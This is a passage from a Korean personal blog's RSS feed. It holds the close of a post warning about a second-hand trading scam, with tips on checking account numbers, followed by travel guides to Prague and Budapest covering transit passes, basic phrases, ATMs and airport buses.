&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1726&quot; data-origin-height=&quot;1720&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mtXhI/btsLkDSVF2W/2kOCAkupK1i1WvECFi2eCK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mtXhI/btsLkDSVF2W/2kOCAkupK1i1WvECFi2eCK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mtXhI/btsLkDSVF2W/2kOCAkupK1i1WvECFi2eCK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmtXhI%2FbtsLkDSVF2W%2F2kOCAkupK1i1WvECFi2eCK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;698&quot; data-origin-width=&quot;1726&quot; data-origin-height=&quot;1720&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;마무리&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사기 당할 뻔 했으나...다행히 피해를 입은 건 아닌데...&lt;br /&gt;그래서 신고를 못한다 ㅠㅠ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 경험을 정리를 해둬야 추가 피해가 발생하지 않겠다 싶어서 작성한 글...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;무작정 의심하는 것도 좋지 않으나&lt;br /&gt;아는 선에서는 의심하는 자세가 중요하달까&lt;br /&gt;그만큼 세상 공부를 해야하는게 중요하달까&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;뭔가 이상할 때 위화감을 느끼고 의심하고 조사할 수 있어야 할텐데&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;계좌 번호 요청&lt;/b&gt;&lt;/h3&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래는 카톡을 통해 받은 계좌번호 조회 결과이다.&lt;br /&gt;이 또한 요청했을 때 안주면 사기...겠지?&lt;br /&gt;전화번호는 끝까지 안주더라.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;746&quot; data-origin-height=&quot;1090&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bNMi0u/btsLlsJRTFI/QLcQeXB6cyg6WfNKwdlvtk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bNMi0u/btsLlsJRTFI/QLcQeXB6cyg6WfNKwdlvtk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bNMi0u/btsLlsJRTFI/QLcQeXB6cyg6WfNKwdlvtk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbNMi0u%2FbtsLlsJRTFI%2FQLcQeXB6cyg6WfNKwdlvtk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;1023&quot; data-origin-width=&quot;746&quot; data-origin-height=&quot;1090&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;계좌번호 조회 결과&lt;/b&gt;&lt;/h3&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;판매글에서 의심정보 조회할 수 있다.&lt;br /&gt;&lt;b&gt;한 쪽에는 안 나올 수 있기 때문에&lt;/b&gt;&lt;br /&gt;&lt;b&gt;더치트와 중고나라 모두 조회&lt;/b&gt;해봐야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1290&quot; data-origin-height=&quot;920&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pIaJr/btsLmgPES37/M390oEyFAfZ9CMlQ87iF21/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pIaJr/btsLmgPES37/M390oEyFAfZ9CMlQ87iF21/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pIaJr/btsLmgPES37/M390oEyFAfZ9CMlQ87iF21/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpIaJr%2FbtsLmgPES37%2FM390oEyFAfZ9CMlQ87iF21%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;499&quot; data-origin-width=&quot;1290&quot; data-origin-height=&quot;920&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Tip.../기타</category>
      <category>네이버</category>
      <category>사기</category>
      <category>안전결제</category>
      <category>안전결제 사기</category>
      <category>인터넷사기</category>
      <category>중고거래</category>
      <category>중고거래 사기</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/186</guid>
      <comments>https://chmodi.tistory.com/186#entry186comment</comments>
      <pubDate>Tue, 17 Dec 2024 09:50:22 +0900</pubDate>
    </item>
    <item>
      <title>체코 프라하 여행 정리</title>
      <link>https://chmodi.tistory.com/184</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2055&quot; data-origin-height=&quot;1157&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cFsODI/btsArvYzoDi/FiTMEwd14fkjAME64YKlR0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cFsODI/btsArvYzoDi/FiTMEwd14fkjAME64YKlR0/img.jpg&quot; data-alt=&quot;체스키 크룸로프 망토다리 뷰&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cFsODI/btsArvYzoDi/FiTMEwd14fkjAME64YKlR0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcFsODI%2FbtsArvYzoDi%2FFiTMEwd14fkjAME64YKlR0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;450&quot; data-origin-width=&quot;2055&quot; data-origin-height=&quot;1157&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;체스키 크룸로프 망토다리 뷰&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;관련 글&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/182&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2023.11.15 - [여행/부다페스트&amp;amp;프라하[23.10.08~23.10.15]] - 부다페스트&amp;amp;프라하 일정 요약&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/183&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2023.11.16 - [여행/부다페스트&amp;amp;프라하[23.10.08~23.10.15]] - 헝가리 부다페스트 여행 정리&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;여행 일정&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1060&quot; data-origin-height=&quot;459&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/daH2fb/btsArx9WxlP/zEywHXQ6jRdakk7BFZolZk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/daH2fb/btsArx9WxlP/zEywHXQ6jRdakk7BFZolZk/img.png&quot; data-alt=&quot;체코 프라하 여행 일정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/daH2fb/btsArx9WxlP/zEywHXQ6jRdakk7BFZolZk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdaH2fb%2FbtsArx9WxlP%2FzEywHXQ6jRdakk7BFZolZk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;303&quot; data-origin-width=&quot;1060&quot; data-origin-height=&quot;459&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;체코 프라하 여행 일정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;체코어 기초 회화&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;안녕하세요(좋은 아침) : Dobr&amp;yacute; den(도브리덴)&lt;br /&gt;감사합니다 : Děkuji(데꾸이)&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;교통권&lt;/b&gt;&lt;/h2&gt;
&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ 시내 교통&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;&lt;b&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=cz.dpp.praguepublictransport&amp;amp;hl=en_US&quot;&gt;PID Litacka&lt;/a&gt;&lt;/b&gt;&amp;rdquo; 앱 다운 및 설치&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대충 본인의 여행 스케쥴을 잘 점검하여 표를 선택해야 한다.&lt;br /&gt;( 30분권 , 90분권, &lt;b&gt;24시간권,&lt;/b&gt; 72시간권 )&lt;br /&gt;개시하는 순간부터 카운트 시작~&lt;br /&gt;오전 12시에 시작하지 않고 원하는 시간부터 시작하니까 여행 계획을 잘 세우면&lt;br /&gt;&lt;b&gt;24시간 티켓으로 이틀&lt;/b&gt; 사용 가능~&lt;br /&gt;(24시간 티켓 120CZK * 2(명) * 2(날짜) = 480 CZK&lt;br /&gt;30분 티켓으로만 다녀도 괜찮을 듯?&lt;br /&gt;(30분 티켓 30 CZK)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ 공항 버스(AE)&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;가격: 100 CZK&lt;br /&gt;꼭 타야하는지 확인 필요&lt;br /&gt;(우리나라 지도앱처럼 구글 지도로 경로 확인 가능)&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;현금 출금(수수료 무료 ATM)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;KB bank(Komerčn&amp;iacute; banka) &amp;rarr; 출금 수수료 없는 ATM&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;- 핀번호 6자리 요구 시 입력한 4자리 + 00&lt;/b&gt; 입력하면 된다.&lt;br /&gt;&lt;span style=&quot;color: #333333; letter-spacing: 0px;&quot;&gt;- 은행 업무시간이 끝나도 ATM 이용은 가능합니다.&lt;/span&gt;&lt;/p&gt;
&lt;/blockquote&gt;</description>
      <category>여행/부다페스트&amp;amp;프라하[23.10.08~23.10.15]</category>
      <category>2023_부다페스트_프라하</category>
      <category>기초 회화</category>
      <category>대중교통</category>
      <category>수수료 무료</category>
      <category>유심</category>
      <category>체코 프라하</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/184</guid>
      <comments>https://chmodi.tistory.com/184#entry184comment</comments>
      <pubDate>Thu, 16 Nov 2023 17:50:50 +0900</pubDate>
    </item>
    <item>
      <title>헝가리 부다페스트 여행 정리</title>
      <link>https://chmodi.tistory.com/183</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3456&quot; data-origin-height=&quot;1413&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bNmWVz/btsAuf1XnaN/H06k3zoIUWQpQZWzwREEKk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bNmWVz/btsAuf1XnaN/H06k3zoIUWQpQZWzwREEKk/img.jpg&quot; data-alt=&quot;겔레르트 언덕 야경 뷰&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bNmWVz/btsAuf1XnaN/H06k3zoIUWQpQZWzwREEKk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbNmWVz%2FbtsAuf1XnaN%2FH06k3zoIUWQpQZWzwREEKk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;327&quot; data-origin-width=&quot;3456&quot; data-origin-height=&quot;1413&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;겔레르트 언덕 야경 뷰&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;헝가리 부다페스트 여행 정리&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;관련 글&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;background-color: #e6f5ff; color: #0070d1; text-align: start;&quot; href=&quot;https://chmodi.tistory.com/182&quot;&gt;2023.11.15 - [여행/부다페스트&amp;amp;프라하[23.10.08~23.10.15]] - 부다페스트&amp;amp;프라하 일정 요약&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/184&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2023.11.16 - [여행/부다페스트&amp;amp;프라하[23.10.08~23.10.15]] - 체코 프라하 여행 정리&lt;/a&gt;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;일정&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;Parlamenti nezopont&lt;/b&gt;: 국회의사당 강 건너편의 뷰 포인트&lt;br /&gt;&lt;b&gt;Gravity Boulder&lt;/b&gt;: 부다페스트 실내 클라이밍 장&lt;br /&gt;&lt;b&gt;헝가리 국립 오페라극장&lt;/b&gt;: 돈 키호테 발레 공연&lt;br /&gt;(날짜가 정해져있으므로 미리 확인 필요)&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1118&quot; data-origin-height=&quot;803&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b3h8zc/btsAqCKyJNA/gyVbAvzPy8eNgdGxzXWnu1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b3h8zc/btsAqCKyJNA/gyVbAvzPy8eNgdGxzXWnu1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b3h8zc/btsAqCKyJNA/gyVbAvzPy8eNgdGxzXWnu1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb3h8zc%2FbtsAqCKyJNA%2FgyVbAvzPy8eNgdGxzXWnu1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;503&quot; data-origin-width=&quot;1118&quot; data-origin-height=&quot;803&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;헝가리어 기초 회화&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;많은 분들이 좋아했던 현지어 사용.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;감사합니다는 정말 많이 사용했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;안녕하세요, 안녕히 계세요 : Szia(씨어)&lt;br /&gt;감사합니다 : k&amp;ouml;sz&amp;ouml;n&amp;ouml;m(꾀쉐뉌)&lt;br /&gt;맛있다 : Finom(피넘)&lt;br /&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;교통권&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #666666; text-align: left;&quot;&gt;비행기를 부다페스트 in-out으로 하는 바람에&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #666666; text-align: left;&quot;&gt;15일권을 구매했다&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;(1) 공항버스(100E) : 2,200 포린트&lt;br /&gt;(2) 1회권 : 450 포린트&lt;br /&gt;(3) 10회권 : 4,000 포린트&lt;br /&gt;(4) 24시간 : 2,500 포린트&lt;br /&gt;(5) 72시간 : 5,500 포린트&lt;br /&gt;&lt;b&gt;(6) 15일권 : 6,300 포린트&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ 공항버스 100E 이용(별도 구매)&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요금 : 1인당 편도 2,200포린트(약 8,300원)&lt;br /&gt;출발 정보 : Deak Ferenc ter에서 7분마다 출발&lt;br /&gt;(너무 이르고 늦은 경우 배차간격 다르나 24시간 운영)&lt;br /&gt;이용정보 : Deak Ferenc ter, Kalvin ter 두 곳에서 탑승 가능.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Deak(데악광장)에서 출발해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 번만 서고 바로 공항으로 가기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;35분 밖에 안 걸린다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;24시간 운영하기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시간이 촉박하고 이르거나 늦은 시간에 이동 시 주로 이용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;100E 공항버스는 데악역에서 탑승&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ M3&amp;nbsp;+&amp;nbsp;200E&amp;nbsp;이용(시내&amp;nbsp;교통권에&amp;nbsp;포함)&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요금 : 교통권 그대로 사용&lt;br /&gt;이용 정보 : 지하철 M3라인 종점 Kobanya-Kispest에서 200E 환승&lt;br /&gt;- 역 엘리베이터는 중간 쯤에 위치&lt;br /&gt;- 힘들게 계단을 이용하진 말자&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;M3+200E 이용의 장점은 상대적으로 저렴한 요금이다.&lt;br /&gt;기존 구매한 패스(1day, 그룹, 한 달&amp;hellip; 관계없음)가 있다면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추가 구매 없이 이용 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;패스가 없는 경우에는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Budapest Go 앱에서 구매 가능한&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;90분짜리 표(750 포린트, 약 2,800원)를 사용하면 되고&lt;br /&gt;앱이 없다면 싱글 티켓 2장으로 각각 지하철, 버스를 이용할 수 있다. (총 900 포린트, 약 3,400원)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;한 가지 더 차이가 있다면 100E는 공항 출발 측에 도착하고,&lt;br /&gt;200E는 도착 측에 도착하기 때문에 한층 올라가야 함!&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
